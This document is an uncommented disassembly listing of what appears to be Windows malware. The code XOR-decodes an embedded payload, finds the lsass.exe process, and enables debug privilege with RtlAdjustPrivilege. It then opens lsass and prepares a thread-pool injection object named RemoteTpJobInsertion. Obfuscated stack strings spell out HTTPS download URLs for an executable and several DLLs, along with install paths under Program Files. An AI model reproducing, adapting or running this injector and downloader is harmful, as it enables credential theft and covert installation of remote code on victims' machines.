lea rdx, str.nJycnByWnpw8RJ2c5ESdnJycnJycnJycnJycnJycnJycnJycnJycnJcnJwkRJ2cnJycnJycnJxERJ2czESdnExLnZycnJycnJycnJycnJycnJycnJycnByWnpyenJycnJycnGNjY2OcnJyc3JycnDxEnZycnJycnJycnJycnJydnJycnJycnJycnJxElp6ctEWdnJxFnZycnJycnJycnJycnJycnJycnJycnJycnJydnJyc3EWdnJycnJycnJyczEWdnJycnJycnJycnJycnESWnpycnJycnJycnGNjY2OcnJyc3JycnLRFnZycnJycnJycnJycnJydnJycnJycnJycnJwslp6cPEWdnORFnZycnJycnJycnJycnJycnJycnJycnJycnJyenJycJEWdnJycnJycnJycTEWdnExLnZycnJycnJycnJycnJycnJycLJaenJ2cnJycnJycY2NjY5ycnJzcnJycPEWdnJycnJycnJychJycnJwcnBycnJycnJycnJycnJycnJyczs_Yz_zfmTqzfbaASkMhgydMridnJyc36bAye_57u_A3fjx9fL17ju_ejz7sDYe_36PPswHQbNnsINHksE3U1MMB5LBN1NTDY0NDA1_Xy8vj1_Xo2PDwwOSqqMDOfD5_e_5wNf18vL49fv16Njw8LLsP6cnJycnFycnJxcnJycnZycnCOcnJzb38jQnIycnIylnZyy6Pnk6Ljx8pycnJyM1Z2c3JycnLLoeTouPHyuKysnMzVnZwcmJycsuj55Oi45JyczJ2c5J6cnLL1P3o_bipnJycnOTOnZy0nJycsqys__r7nJw8zp2clJycnLLfzsi4xN_dnJycnDTOnZyUnJycst_OyLjE38acnJycLM6dnJScnJyy387IuMTV3ZycnJwkzp2chJycnLLfzsi4xNXfnJycnEzOnZyUnJycst_OyLjE1cacnJycRM6dnJScnJyy387IuMTM3ZycnJx8zp2cjJycnLLfzsi4xMzEnJycnGzOnZyUnJycst_OyLjEzMTdnJycZM6dnJScnJyy387IuMTMxpycnJycz52clJycnLLfzsi4xMjdnJycnJTPnZyUnJycst_OyLjEyMacnJycjMdnOwYnJyy7vj96P2cnBxLnZzonpycsu74_ej9uO6cnJycaEWdnIScnJyy7vj96P246vPw6PH4nJyckEadnPCfnJyy7vj96P245ubmP77nJyc5EGdnJScnJyy7uj_uNXd3ZycnJwcQZ2clJycnLLu6P41cbGnJycnBRBnZyUnJycsu7o_7jI3d2cnJycDEGdnJScnJyy7uj_uMjGxpycnJwEQZ2c_IycnLLkP3o_ZycZHGdnNCdnJyy5Pj96P245JycnJzYc52ciJycnLL1P3o_biunJycnMRznZyEnJycsvX4_ej9uKcnJyc7HOdnOSenJyy9fj96P24qJycnJx0bZ2cOJmcnLL1P3o_biqnJycnJycnpyslpycsvj96P2cnJyslp6cNJycnLL4_ej9uO6cRJaenLScnJyyP3o_bju75ycnJycl56cXI2cnLL7cnJycnLyenFyOnJyy7Pj96P2cnJzcnpxgnJycw87Y3cjdnJyczJ6c_JycnLLu77_uKytnJycnPzMnpzMnZycsu7v7v4rK6cnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJycnJydh5ich86L7Ir8iayFg5mckcjLnJGdzpya_JyczNmdnByenJy9uZqcuXjKnInoyZyUqMic7IycnDGMnJw4QZ2cvZycnOyMnJwxjJycOEGdnL2cmpyceMqcnOjJnJyoyJzsjJycMYycnDhBnZyFj52cmP6cnMzZnZy0nJycnZidnJjenJycnJycnZycnI2JlJyJ6JWcifibnImompyJro18oLacnJ6cnJyMh5yc44ecnMzVnZycnJycfoecnHGHnJzM1Z2cnJycnJ2anpyarp7MjZaYnJaolJyWzprsoLacnJicnJy7gJyc2oCcnPvVnZycnJycgICcnMKAnJwc1Z2cnJycnPuAnJzugJyc9WdnJycnJz7gJyc74CcnBzVnZycnJyclYaanIaok5yG7op8iOyP_KC2nJydnJycNYCcnBOBnJwI1Z2cE4GcnJ2anpyazp7MnZOanJP4m5yTqJqck66X7J2UnZyU3pycnZWdnJXnJydlpiclqiRnJbumuydlJiclO6Y7J_8nqydmp6cmq6erJ2RmJyRqJWcka6azJWYnZyYvpycoLacnJ2cnJxrv5ycHbicnFbVnZwduJycnZ6dnJ7MnJydiJSciPiUnIjIm5yIqJqciK6M7J2JmZyJqCaciZ0knJrMnJydlpiclqianJaumuydmJ2cmB6cnJ2TmpyTJqck6iZnJOOlydnJycnJycnJ2cnJydgJCcgPiMnIDIk5yAqJKcgO6EbIp8iEyOXIzslZGdnJEenJygtpycnZycnM2xnJz8sZycftWdnPyxnJydm5cm96fzJ6snJycnJycnp2fnJ6KnJqd7JycnZycnJ2JlJyJ6JScifibnImompyJro18nZOanJP4k5yTqJKckw6X7JycnJydnJycnZycnJ2cnJydipacisiQnIqol5yKro5sjHySXJDsl_yFgJckp2AnJ7MnJzM2Z2cTJycnJ2IlJyIJGciMiQnIiol5yI7ozslYSenIROiKygtpycnZycnNuonJz7qJyc5NadnPuonJydm5cmx6fzJ6snJyenpicn4qcmp78neydnJycnYCQnID4kJyAyJecgKiWnICuhGyKfIhMjlyM7IWClJyCzoZshHyKTIhcjuyN_IysoLacnJcnJwmyZyc0MqcnDrXnZzQypyc48mcnO_KnJwg152cnJycnDLKnJwoypycINednJycnJyFjJScjE6QbJZ8lEyaXJjsn_yerKC2nJyenJycDccnCrPnJyV152cKscnA3PnJyyyJycstednJycnJydgJCcgPiRnIDIkJyAqJacgK6EbIp8iEyOXIzsnYWWnIXok5yFJKchciRnIWokJyFDol8nYWWnIXolZyFJSchcibnIWompyFrol8lYWWnIXokJyFJechaiWnIXOiWyPfI1MoLacnJ6cnJxh2JycrtqcnJ2cnJzw2pycztqcnPDanJydnJyc8NqcnJWJlJyJ6JScifibnImompyJro18oLacnJ2cnJw2pychNucnJ2cnJyy25ychbuWnIWduZyRbJd8lUybXJnsmPyfrJ7MzNmdnIydnJydhpachqiInIYuimyIfI5MjFyS7JH8kMyduZecuai_nLmdhJyGbIR8ikyIXI7sjfyMzJycnZidnJjenJydmJ2cmN6cnJ2YnZyY3pycnZidnJjenJydjJmcjJ2KnJjsn6yezJycnZqenJqunuy9mZ6cmaibnHz1nJxz9ZycPH6dnL2cnJx89Zycc_WcnDxnZydhJachPiWnITIlZyEqJSchK6IbI58jOydjpScjsiQnI6ol5yOzpJ8kOyX_J2IlJyIJeciMiWnIiolZyIzozsnZidnJjnJyFsZCcgiPnIP4jpyDqI2cgw6EbIp8iEyOXIzMzNmdnNycnJydmp6cms6erJ2IlJyIJOciMiSnIiokZyIDozsnZaYnJaolJyWzprshaXnL7oB5yAacvqgFnL6dCJyIbI58jMycnMzZnZwMmJycnYiUnIj4lpyIyJWciKiUnIjOjOyNk5ick6ianJOulygtpycnZycnCLHnJxUx5ycQ9ednJycnJydgZCcgeiRnIH4kJyByJecgaiWnIHOhWyLfIlMnZOYnJOompyTrpfsjZqenJqunqygtpycnZycnE7gnJx04JycZtednJycnJyFk56cms6erMylnJwEZ2cnJycnIYdnJxjY2NjhYKYnIKokJyNDpbMzKWcnFz5nZxjY2Nj1LKcnJycnJzeHJycnJycnJWanpyazp6soLacnJ2cnJxt4pyc1uOcnLbQnZwJ45ycjZOYnJOompyTrpfsoLacnJ2cnJwp4pyc
mov rcx, rbx
mov qword [rbx - 8], rax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + 0xd200], r13b
lea rdx, [rsp + 0x20]
xorps xmm0, xmm0
lea rcx, [rbp + 0x80]
xor eax, eax
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
call fcn.140001440
mov r8, qword [rbp + 0x88]
mov rdx, r13
mov rax, qword [rbp + 0x80]
mov rcx, r8
sub rcx, rax
cmp rax, r8
cmova rcx, r13
test rcx, rcx
je 0x14000205f
cmp rcx, 0x40
jb 0x14000205f
and rcx, 0xffffffffffffffc0
nop dword [rax]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax]
add rdx, 0x40
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
movdqu xmm0, xmmword [rax + 0x20]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x20], xmm1
movdqu xmm0, xmmword [rax + 0x30]
movdqa xmm1, xmm6
xorps xmm1, xmm0
movdqu xmmword [rax + 0x30], xmm1
add rax, 0x40
cmp rdx, rcx
jne 0x140002010
cmp rax, r8
je 0x14000206f
xor byte [rax], 0x9c
inc rax
cmp rax, r8
jne 0x140002064
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x1400020ac
mov rcx, qword [rsp + 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400020a7
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
call fcn.1400079fc
mov rbx, qword [rbp + 0xd0]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0xf0], rax
movabs r14, 0x7fffffffffffffff
movdqu xmmword [rsp + 0x50], xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rsp + 0x60], r13
sub rbx, qword [rbp + 0xc8]
je 0x140002162
cmp rbx, r14
ja 0x14000361f
cmp rbx, 0x1000
jb 0x14000211f
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140003625
call fcn.1400076b0
test rax, rax
je 0x1400022e8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x14000212a
mov rcx, rbx
call fcn.1400076b0
mov rsi, rax
mov rdi, qword [rbp + 0xd0]
lea rax, [rsi + rbx]
mov rbx, qword [rbp + 0xc8]
mov r8, rdi
sub r8, rbx
mov qword [rsp + 0x50], rsi
mov rdx, rbx
mov qword [rsp + 0x60], rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
add rdi, rsi
mov qword [rsp + 0x58], rdi
mov rbx, qword [rbp + 0xb8]
xorps xmm0, xmm0
mov qword [rsp + 0x68], r13
movdqu xmmword [rsp + 0x70], xmm0
sub rbx, qword [rbp + 0xb0]
je 0x1400021fe
cmp rbx, r14
ja 0x14000361f
cmp rbx, 0x1000
jb 0x1400021bb
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140003625
call fcn.1400076b0
test rax, rax
je 0x1400022e8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400021c6
mov rcx, rbx
call fcn.1400076b0
mov rsi, rax
mov rdi, qword [rbp + 0xb8]
lea rax, [rsi + rbx]
mov rbx, qword [rbp + 0xb0]
mov r8, rdi
sub r8, rbx
mov qword [rsp + 0x68], rsi
mov rdx, rbx
mov qword [rsp + 0x78], rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
add rdi, rsi
mov qword [rsp + 0x70], rdi
mov rbx, qword [rbp + 0xa0]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
sub rbx, qword [rbp + 0x98]
je 0x140002295
cmp rbx, r14
ja 0x14000361f
cmp rbx, 0x1000
jb 0x140002255
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140003625
call fcn.1400076b0
test rax, rax
je 0x1400022e8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x140002260
mov rcx, rbx
call fcn.1400076b0
mov rsi, rax
mov rdi, qword [rbp + 0xa0]
lea rax, [rsi + rbx]
mov rbx, qword [rbp + 0x98]
mov r8, rdi
sub r8, rbx
mov qword [rbp - 0x80], rsi
mov rdx, rbx
mov qword [rbp - 0x70], rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
add rdi, rsi
mov qword [rbp - 0x78], rdi
mov rbx, qword [rbp + 0x88]
xorps xmm0, xmm0
mov qword [rbp - 0x68], r13
movdqu xmmword [rbp - 0x60], xmm0
sub rbx, qword [rbp + 0x80]
je 0x14000232f
cmp rbx, r14
ja 0x14000361f
cmp rbx, 0x1000
jb 0x1400022ef
lea rcx, [rbx + 0x27]
cmp rcx, rbx
jbe 0x140003625
call fcn.1400076b0
test rax, rax
je 0x1400022e8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400022fa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.1400076b0
mov rsi, rax
mov rdi, qword [rbp + 0x88]
lea rax, [rsi + rbx]
mov rbx, qword [rbp + 0x80]
mov r8, rdi
sub r8, rbx
mov qword [rbp - 0x68], rsi
mov rdx, rbx
mov qword [rbp - 0x58], rax
mov rcx, rsi
call sub.VCRUNTIME140.dll_memmove
sub rdi, rbx
add rdi, rsi
mov qword [rbp - 0x60], rdi
lea rax, [rsp + 0x50]
mov qword [rbp - 0x50], rax
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x50]
mov qword [rbp - 0x48], rax
lea rcx, [rbp + 0xe0]
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp - 0x50], xmm0
call fcn.1400036b0
lea r9, [fcn.140003800]
mov edx, 0x18
mov r8d, 4
lea rcx, [rsp + 0x50]
call fcn.1400076ec
mov rdi, qword [rbp + 0xe8]
xorps xmm0, xmm0
mov rbx, qword [rbp + 0xe0]
mov qword [rbp + 0x78], r13
movdqu xmmword [rbp + 0x68], xmm0
cmp rbx, rdi
je 0x1400023c0
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rbx + 8]
lea rcx, [rbp + 0x68]
mov r8, qword [rbx]
mov rdx, qword [rbp + 0x70]
sub r9, r8
call fcn.140003f90
add rbx, 0x18
cmp rbx, rdi
jne 0x1400023a0
lea rcx, str.kernel32.dll
mov r15d, r13d
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.advapi32.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rbx, rbx
je 0x1400035fe
test rax, rax
je 0x1400035fe
lea rdx, str.CreateToolhelp32Snapshot
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32FirstW
mov rcx, rbx
mov r14, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.Process32NextW
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x14003dec0]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test r14, r14
je 0x14000368e
test rsi, rsi
je 0x14000368e
test rdi, rdi
je 0x14000368e
test rax, rax
je 0x14000368e
xor edx, edx
mov ecx, 2
call r14
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000366d
lea rdx, [rbp + 0x100]
mov dword [rbp + 0x100], 0x238
mov rcx, rax
call rsi
test eax, eax
je 0x1400024d1
nop dword [rax]
nop word [rax + rax]
lea rdx, str.lsass.exe
lea rcx, [rbp + 0x12c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x1400024ca
lea rdx, [rbp + 0x100]
mov rcx, rbx
call rdi
test eax, eax
jne 0x1400024a0
jmp 0x1400024d1
mov r15d, dword [rbp + 0x108]
mov rcx, rbx
call r12
test r15d, r15d
je 0x14000366d
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 1
call fcn.140003ce0
lea rcx, [0x14003df38]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14000362b
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000364c
lea r9, [rbp + 0x60]
xor r8d, r8d
mov dl, 1
mov ecx, 0x14
call rax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 1
call fcn.140003ce0
mov r14, qword [rbp + 0x68]
mov ecx, 0x48
mov rbx, qword [rbp + 0x70]
mov qword [rsp + 0x40], r14
sub rbx, r14
call fcn.1400076b0
mov qword [rbp - 0x50], rax
mov rsi, rax
mov r8d, r15d
xor edx, edx
mov ecx, 0x478
mov dword [rax + 0xc], r13d
mov qword [rax + 0x30], r13
mov dword [rax + 8], r15d
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], r13
mov qword [rax + 0x20], r14
mov qword [rax + 0x28], rbx
mov qword [rax + 0x38], r13
mov qword [rax + 0x40], r13
lea rax, vtable.RemoteTpJobInsertion.0
mov qword [rsi], rax
movzx eax, word [0x14003e248]
movsd xmm0, qword [0x14003e240]
mov word [rsp + 0x28], ax
movzx eax, byte [0x14003e24a]
mov byte [rsp + 0x2a], al
mov dword [rsp + 0x2c], r13d
mov qword [rsp + 0x30], 0xb
mov qword [rsp + 0x38], 0xf
movsd qword [rsp + 0x20], xmm0
mov byte [rsp + 0x2b], r13b
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.1400070f0
mov ecx, 8
mov rbx, rax
call fcn.1400076b0
mov ecx, 0x18
mov rdi, rax
mov qword [rax], rbx
call fcn.1400076b0
lea rcx, vtable.std::_Ref_count_resource_void____ptr64____ptr64__class__class_std::shared_ptr_void____ptr64____cdecl_w_OpenProcess_unsigned_long_int__int__unsigned_long_int_::_2::_lambda_1__.0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
mov qword [rax], rcx
mov qword [rax + 0x10], rdi
mov rbx, qword [rsi + 0x18]
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rax
test rbx, rbx
je 0x140002671
mov edi, 0xffffffff
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x140002668
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x140002668
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov r14, qword [rbp + 0x68]
mov qword [rsp + 0x40], r14
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 8]
mov rcx, qword [rsi + 0x10]
mov rdx, rax
mov r9, qword [rsi + 0x28]
mov r8, qword [rsi + 0x20]
mov qword [rsi + 0x30], rax
mov rcx, qword [rcx]
call fcn.1400071f0
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
lea rcx, [rbp - 0x20]
mov qword [rbp - 0x20], 1
call fcn.140003ce0
xor ecx, ecx
mov dword [rbp - 0x10], 0x740068
mov word [rbp - 0x78], cx
mov dword [rbp - 0xc], 0x700074
mov dword [rbp - 8], 0x3a0073
mov dword [rbp - 4], 0x2f002f
mov dword [rbp], 0x350031
mov dword [rbp + 4], 0x750030
mov dword [rbp + 8], 0x610070
mov dword [rbp + 0xc], 0x640069
mov dword [rbp + 0x10], 0x6f002e
mov dword [rbp + 0x14], 0x730073
mov dword [rbp + 0x18], 0x63002d
mov dword [rbp + 0x1c], 0x2d006e
mov dword [rbp + 0x20], 0x6f0068
mov dword [rbp + 0x24], 0x67006e
mov dword [rbp + 0x28], 0x6f006b
mov dword [rbp + 0x2c], 0x67006e
mov dword [rbp + 0x30], 0x61002e
mov dword [rbp + 0x34], 0x69006c
mov dword [rbp + 0x38], 0x750079
mov dword [rbp + 0x3c], 0x63006e
mov dword [rbp + 0x40], 0x2e0073
mov dword [rbp + 0x44], 0x6f0063
mov dword [rbp + 0x48], 0x2f006d
mov dword [rbp + 0x4c], 0x700075
mov dword [rbp + 0x50], 0x690061
mov dword [rbp + 0x54], 0x2e0064
mov dword [rbp + 0x58], 0x780065
mov dword [rbp + 0x5c], 0x65
mov dword [rsp + 0x50], 0x3a0043
mov dword [rsp + 0x54], 0x5c005c
mov dword [rsp + 0x58], 0x720050
mov dword [rsp + 0x5c], 0x67006f
mov dword [rsp + 0x60], 0x610072
mov dword [rsp + 0x64], 0x20006d
mov dword [rsp + 0x68], 0x690046
mov dword [rsp + 0x6c], 0x65006c
mov dword [rsp + 0x70], 0x5c0073
mov dword [rsp + 0x74], 0x75005c
mov dword [rsp + 0x78], 0x610070
mov dword [rsp + 0x7c], 0x640069
mov dword [rbp - 0x80], 0x65002e
mov dword [rbp - 0x7c], 0x650078
mov dword [rbp + 0x530], 0x740068
mov dword [rbp + 0x534], 0x700074
mov dword [rbp + 0x538], 0x3a0073
mov dword [rbp + 0x53c], 0x2f002f
mov dword [rbp + 0x540], 0x350031
mov dword [rbp + 0x544], 0x750030
mov dword [rbp + 0x548], 0x610070
mov dword [rbp + 0x54c], 0x640069
mov dword [rbp + 0x550], 0x6f002e
mov dword [rbp + 0x554], 0x730073
mov dword [rbp + 0x558], 0x63002d
mov dword [rbp + 0x55c], 0x2d006e
mov dword [rbp + 0x560], 0x6f0068
mov dword [rbp + 0x564], 0x67006e
mov dword [rbp + 0x568], 0x6f006b
mov dword [rbp + 0x56c], 0x67006e
mov dword [rbp + 0x570], 0x61002e
mov dword [rbp + 0x574], 0x69006c
xor edx, edx
mov dword [rbp + 0x578], 0x750079
mov word [rbp + 0x624], dx
mov dword [rbp + 0x57c], 0x63006e
mov dword [rbp + 0x580], 0x2e0073
mov dword [rbp + 0x584], 0x6f0063
mov dword [rbp + 0x588], 0x2f006d
mov dword [rbp + 0x58c], 0x69006c
mov dword [rbp + 0x590], 0x630062
mov dword [rbp + 0x594], 0x720075
mov dword [rbp + 0x598], 0x2e006c
mov dword [rbp + 0x59c], 0x6c0064
mov dword [rbp + 0x5a0], 0x6c
mov dword [rbp + 0x380], 0x3a0043
mov dword [rbp + 0x384], 0x5c005c
mov dword [rbp + 0x388], 0x720050
mov dword [rbp + 0x38c], 0x67006f
mov dword [rbp + 0x390], 0x610072
mov dword [rbp + 0x394], 0x20006d
mov dword [rbp + 0x398], 0x690046
mov dword [rbp + 0x39c], 0x65006c
mov dword [rbp + 0x3a0], 0x5c0073
mov dword [rbp + 0x3a4], 0x6c005c
mov dword [rbp + 0x3a8], 0x620069
mov dword [rbp + 0x3ac], 0x750063
mov dword [rbp + 0x3b0], 0x6c0072
mov dword [rbp + 0x3b4], 0x64002e
mov dword [rbp + 0x3b8], 0x6c006c
mov word [rbp + 0x3bc], cx
mov dword [rbp + 0x5b0], 0x740068
mov dword [rbp + 0x5b4], 0x700074
mov dword [rbp + 0x5b8], 0x3a0073
mov dword [rbp + 0x5bc], 0x2f002f
mov dword [rbp + 0x5c0], 0x350031
mov dword [rbp + 0x5c4], 0x750030
mov dword [rbp + 0x5c8], 0x610070
mov dword [rbp + 0x5cc], 0x640069
mov dword [rbp + 0x5d0], 0x6f002e
mov dword [rbp + 0x5d4], 0x730073
mov dword [rbp + 0x5d8], 0x63002d
mov dword [rbp + 0x5dc], 0x2d006e
mov dword [rbp + 0x5e0], 0x6f0068
mov dword [rbp + 0x5e4], 0x67006e
mov dword [rbp + 0x5e8], 0x6f006b
mov dword [rbp + 0x5ec], 0x67006e
mov dword [rbp + 0x5f0], 0x61002e
mov dword [rbp + 0x5f4], 0x69006c
mov dword [rbp + 0x5f8], 0x750079
mov dword [rbp + 0x5fc], 0x63006e
mov dword [rbp + 0x600], 0x2e0073
mov dword [rbp + 0x604], 0x6f0063
mov dword [rbp + 0x608], 0x2f006d
mov dword [rbp + 0x60c], 0x69006c
mov dword [rbp + 0x610], 0x650062
mov dword [rbp + 0x614], 0x790061
mov dword [rbp + 0x618], 0x320033
mov dword [rbp + 0x61c], 0x64002e
mov dword [rbp + 0x620], 0x6c006c
mov dword [rbp + 0x3c0], 0x3a0043
mov dword [rbp + 0x3c4], 0x5c005c
mov dword [rbp + 0x3c8], 0x720050
mov dword [rbp + 0x3cc], 0x67006f
mov dword [rbp + 0x3d0], 0x610072
mov dword [rbp + 0x3d4], 0x20006d
mov dword [rbp + 0x3d8], 0x690046
mov dword [rbp + 0x3dc], 0x65006c
mov dword [rbp + 0x3e0], 0x5c0073
mov dword [rbp + 0x3e4], 0x6c005c
mov dword [rbp + 0x3e8], 0x620069
mov dword [rbp + 0x3ec], 0x610065
mov dword [rbp + 0x3f0], 0x330079
mov dword [rbp + 0x3f4], 0x2e0032
mov dword [rbp + 0x3f8], 0x6c0064
mov dword [rbp + 0x3fc], 0x6c
mov dword [rbp + 0x630], 0x740068
mov dword [rbp + 0x634], 0x700074
mov dword [rbp + 0x638], 0x3a0073
mov dword [rbp + 0x63c], 0x2f002f
mov dword [rbp + 0x640], 0x350031
mov dword [rbp + 0x644], 0x750030
mov dword [rbp + 0x648], 0x610070
xor esi, esi
mov dword [rbp + 0x64c], 0x640069
mov word [rbp + 0x724], si
mov dword [rbp + 0x650], 0x6f002e
mov dword [rbp + 0x654], 0x730073
mov dword [rbp + 0x658], 0x63002d
mov dword [rbp + 0x65c], 0x2d006e
mov dword [rbp + 0x660], 0x6f0068
mov dword [rbp + 0x664], 0x67006e
mov dword [rbp + 0x668], 0x6f006b
mov dword [rbp + 0x66c], 0x67006e
mov dword [rbp + 0x670], 0x61002e
mov dword [rbp + 0x674], 0x69006c
mov dword [rbp + 0x678], 0x750079
mov dword [rbp + 0x67c], 0x63006e
mov dword [rbp + 0x680], 0x2e0073
mov dword [rbp + 0x684], 0x6f0063
mov dword [rbp + 0x688], 0x2f006d
mov dword [rbp + 0x68c], 0x73006d
mov dword [rbp + 0x690], 0x630076
mov dword [rbp + 0x694], 0x310072
mov dword [rbp + 0x698], 0x300032
mov dword [rbp + 0x69c], 0x64002e
mov dword [rbp + 0x6a0], 0x6c006c
mov word [rbp + 0x6a4], cx
mov dword [rbp + 0x400], 0x3a0043
mov dword [rbp + 0x404], 0x5c005c
mov dword [rbp + 0x408], 0x720050
mov dword [rbp + 0x40c], 0x67006f
mov dword [rbp + 0x410], 0x610072
mov dword [rbp + 0x414], 0x20006d
mov dword [rbp + 0x418], 0x690046
mov dword [rbp + 0x41c], 0x65006c
mov dword [rbp + 0x420], 0x5c0073
mov dword [rbp + 0x424], 0x6d005c
mov dword [rbp + 0x428], 0x760073
mov dword [rbp + 0x42c], 0x720063
mov dword [rbp + 0x430], 0x320031
mov dword [rbp + 0x434], 0x2e0030
mov dword [rbp + 0x438], 0x6c0064
mov dword [rbp + 0x43c], 0x6c
mov dword [rbp + 0x6b0], 0x740068
mov dword [rbp + 0x6b4], 0x700074
mov dword [rbp + 0x6b8], 0x3a0073
mov dword [rbp + 0x6bc], 0x2f002f
mov dword [rbp + 0x6c0], 0x350031
mov dword [rbp + 0x6c4], 0x750030
mov dword [rbp + 0x6c8], 0x610070
mov dword [rbp + 0x6cc], 0x640069
mov dword [rbp + 0x6d0], 0x6f002e
mov dword [rbp + 0x6d4], 0x730073
mov dword [rbp + 0x6d8], 0x63002d
mov dword [rbp + 0x6dc], 0x2d006e
mov dword [rbp + 0x6e0], 0x6f0068
mov dword [rbp + 0x6e4], 0x67006e
mov dword [rbp + 0x6e8], 0x6f006b
mov dword [rbp + 0x6ec], 0x67006e
mov dword [rbp + 0x6f0], 0x61002e
mov dword [rbp + 0x6f4], 0x69006c
mov dword [rbp + 0x6f8], 0x750079
mov dword [rbp + 0x6fc], 0x63006e
mov dword [rbp + 0x700], 0x2e0073
mov dword [rbp + 0x704], 0x6f0063
mov dword [rbp + 0x708], 0x2f006d
mov dword [rbp + 0x70c], 0x730073
mov dword [rbp + 0x710], 0x65006c
mov dword [rbp + 0x714], 0x790061
mov dword [rbp + 0x718], 0x320033
mov dword [rbp + 0x71c], 0x64002e
mov dword [rbp + 0x720], 0x6c006c
mov dword [rbp + 0x440], 0x3a0043
mov dword [rbp + 0x444], 0x5c005c
mov dword [rbp + 0x448], 0x720050
mov dword [rbp + 0x44c], 0x67006f
mov dword [rbp + 0x450], 0x610072
mov dword [rbp + 0x454], 0x20006d
mov dword [rbp + 0x458], 0x690046
mov dword [rbp + 0x45c], 0x65006c
mov dword [rbp + 0x460], 0x5c0073
mov dword [rbp + 0x464], 0x73005c
mov dword [rbp + 0x468], 0x6c0073
xor r11d, r11d
mov dword [rbp + 0x46c], 0x610065
mov word [rbp + 0x7a4], r11w
mov dword [rbp + 0x470], 0x330079
mov dword [rbp + 0x474], 0x2e0032
mov dword [rbp + 0x478], 0x6c0064
mov dword [rbp + 0x47c], 0x6c
mov dword [rbp + 0x730], 0x740068
mov dword [rbp + 0x734], 0x700074
mov dword [rbp + 0x738], 0x3a0073
mov dword [rbp + 0x73c], 0x2f002f
mov dword [rbp + 0x740], 0x350031
mov dword [rbp + 0x744], 0x750030
mov dword [rbp + 0x748], 0x610070
mov dword [rbp + 0x74c], 0x640069
mov dword [rbp + 0x750], 0x6f002e
mov dword [rbp + 0x754], 0x730073
mov dword [rbp + 0x758], 0x63002d
mov dword [rbp + 0x75c], 0x2d006e
mov dword [rbp + 0x760], 0x6f0068
mov dword [rbp + 0x764], 0x67006e
mov dword [rbp + 0x768], 0x6f006b
mov dword [rbp + 0x76c], 0x67006e
mov dword [rbp + 0x770], 0x61002e
mov dword [rbp + 0x774], 0x69006c
mov dword [rbp + 0x778], 0x750079
mov dword [rbp + 0x77c], 0x63006e
mov dword [rbp + 0x780], 0x2e0073
mov dword [rbp + 0x784], 0x6f0063
mov dword [rbp + 0x788], 0x2f006d
mov dword [rbp + 0x78c], 0x6c007a
mov dword [rbp + 0x790], 0x620069
mov dword [rbp + 0x794], 0x610077
mov dword [rbp + 0x798], 0x690070
mov dword [rbp + 0x79c], 0x64002e
mov dword [rbp + 0x7a0], 0x6c006c
mov dword [rbp + 0x480], 0x3a0043
mov dword [rbp + 0x484], 0x5c005c
